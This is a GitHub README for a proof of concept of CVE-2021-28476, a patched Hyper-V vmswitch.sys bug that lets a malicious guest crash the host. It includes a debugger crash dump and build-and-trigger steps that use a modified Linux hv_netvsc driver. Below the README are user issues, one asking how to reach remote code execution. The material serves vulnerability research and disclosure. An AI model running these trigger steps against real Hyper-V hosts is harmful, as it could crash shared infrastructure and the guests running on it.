0vercl0k/cve-2021-28476

PoC for CVE-2021-28476 a guest-to-host "Hyper-V Remote Code Execution Vulnerability" in vmswitch.sys.

CVE-2021-28476: a guest-to-host "Microsoft Hyper-V Remote Code Execution Vulnerability" in vmswitch.sys.

This is a proof of concept for CVE-2021-28476 ("Hyper-V Remote Code Execution Vulnerability"), an arbitrary memory read in vmswitch.sys (network virtualization service provider) patched by Microsoft in May 2021.

The vulnerability was found by @australeo, @ergot86, @peleghd and @OphirHarpaz. It is triggerable by a guest virtual machine sending a malicious RNDIS packet over VMBus (which is a channel-based communication mechanism used for inter-partition communication).

This is what the host system crash looks like in a debugger:

*** Fatal System Error: 0x0000007e
                       (0xFFFFFFFFC0000005,0xFFFFF80AD4A41A63,0xFFFFB70DD7EB7028,0xFFFFB70DD7EB6860)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:
fffff801`31412c50 cc              int     3

kd> .cxr 0xffffb70dd7eb6860
rax=fffff80ad4bc7214 rbx=fffff80ad4bf62a0 rcx=0000000000000000
rdx=00000000047a2807 rsi=ffffb70dd7eb7420 rdi=ffffa58caa318f00
rip=fffff80ad4a41a63 rsp=ffffb70dd7eb7260 rbp=ffffa58caa318fe0
 r8=0000000000000000  r9=000000000000013b r10=deadbeefbaadc0be
r11=ffffb70dd7eb7230 r12=fffff80ad4bc73d0 r13=00000000c0000001
r14=00000000000021f0 r15=fffff80ad4bc7360
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050246
vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb:
fffff80a`d4a41a63 418b4a20        mov     ecx,dword ptr [r10+20h] ds:002b:deadbeef`baadc0de=????????

kd> kp
 # Child-SP          RetAddr               Call Site
00 ffffb70d`d7eb7260 fffff80a`d4a3ee41     vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb
01 ffffb70d`d7eb7300 fffff80a`d4a3fc76     vmswitch!VmsIfrInfoParamsNdisOidRequestBuffer+0x14d
02 ffffb70d`d7eb7380 fffff80a`d4a3c779     vmswitch!RndisDevHostHandleSetMessage+0x196
03 ffffb70d`d7eb7420 fffff801`3136f423     vmswitch!RndisDevHostControlMessageWorkerRoutine+0x199
04 ffffb70d`d7eb74c0 fffff801`3123a975     nt!IopProcessWorkItem+0x93
05 ffffb70d`d7eb7530 fffff801`3132ce85     nt!ExpWorkerThread+0x105
06 ffffb70d`d7eb75d0 fffff801`31412408     nt!PspSystemThreadStartup+0x55
07 ffffb70d`d7eb7620 00000000`00000000     nt!KiStartSystemThread+0x28

The bug itself happens in VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST which is a function that can be called with attacker-controlled data (which it shouldn't) and dereference twice a pointer (boom->_win below) that a malicious guest virtual machine can provide.

If this is interesting to you, @peleghd and @OphirHarpaz will be discussing this in details as well as the discovery process in a BlackHat USA 2021 presentation entitled hAFL1: Our Journey of Fuzzing Hyper-V and Discovering a 0-Day.

Running the PoC

The easiest way to run the PoC is to create a Linux virtual machine running the latest Ubuntu Focal.

Once this is done, clone the matching kernel sources:

$ uname -a
Linux tourdeforce 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
$ git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git
$ cd ubuntu-focal
$ git checkout Ubuntu-5.4.0-73.82
$ git branch fbl_vswitch
$ git checkout fbl_vswitch

Replace ~/ubuntu-focal/drivers/net/hyperv/netvsc_drv.c by src/netvsc_drv.c, ~/ubuntu-focal/drivers/net/hyperv/rndis_filter.c by src/rndis_filter.c and ~/ubuntu-focal/drivers/net/hyperv/hyperv_net.h by src/hyperv_net.h (full diff available in cve-2021-28476.diff):

$ sudo apt-get install git build-essential kernel-package fakeroot libncurses5-dev libssl-dev ccache bison flex libelf-dev dwarves
$ cp /boot/config-5.4.0-73-generic .config
$ make oldconfig
$ make modules
$ make M=drivers/net/hyperv

Finally, trigger the issue by loading the module and change the ethernet address of the network interface (this action triggers the specific code-path we added in rndis_filter.c / netvsc_set_mac_addr):

$ sudo rmmod hv_netvsc && insmod drivers/net/hyperv/hv_netvsc.ko
$ sudo ifconfig eth0 hw ether 00:11:22:33:44

Authors

• Axel '@0vercl0k' Souchet

cve-2021-28476's Issues

vmswitch source code missing

vmswitch's source code is missing. (There is no source code in both compressed file)
Can you re-upload the source code?

Error in loading the driver

I followed the steps but I still get errors, please let me know what you think:
https://freeimage.host/i/HCmYfXj

Thanks.

poc no work for windows server 2012 r2

I inserted fragment code printk(KERN_ALERT "poc: trig vuln VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST") into the rndis_filter.c (in func rndis_trigger_rndisquery before call rndis_filter_send_request()) for loggining. After execute poc,system no state dos,but dmesg output have string "poc: trig vuln VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST"
I tried poc execute for different package updates:
1)
"windows server 2012 r2 installed updates":[ "KB5001382", "KB2999226", "KB2949621", "KB2939471", "KB2938772", "KB2937220", "KB2919355", "KB2919442" ]
2)
"windows server 2012 r2 installed updates":[ "KB5000848", "KB2999226", "KB2949621", "KB2939471", "KB2938772", "KB2937220", "KB2919355", "KB2919442" ]
3)
"windows server 2012 r2 installed updates":[ "KB2999226", "KB2949621", "KB2939471", "KB2938772", "KB2937220", "KB2919355", "KB2919442" ]
4)
"windows server 2012 r2 installed updates":[ "nil" ]
config guest vm hv:
"config":{ "guest hyper-v system":{ "os": ["ubuntu 20.01"] "type vm": ["2(*supported vmbus and hvcalls*)"] "network":[ "external virtual network":{ "SR-IOV":True, "Allow management operation system to share this network adapter":True } ] } }
I took the driver with vmswitch.sys from Windows 2012 r2 server, path: "/ SystemRoot / system32 / drivers / vmswitch.sys" and tried to find symbols
VmsIfrInfoParams_ * using ida. ida did not find symbols

what dependencies and nuances I did not take into account for successful execution poc?

What should I do to get RCE?

Hello, I was very interested in PoC. Can you tell me how to do RCE? (Sorry for my bad english.)

Diffing your vmswitch files with wrong results

Hi,

i've downloaded your vmswitch files and i diffed both, but i don't have the same results as you:

And if i search for the target function VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST this has not difference

the idbs were created with ida pro 7.5 and they were diffed with bindiff 7

can you tell me if your files are correctly posted or something?

thanks in advance and sorry, i'm a noob yet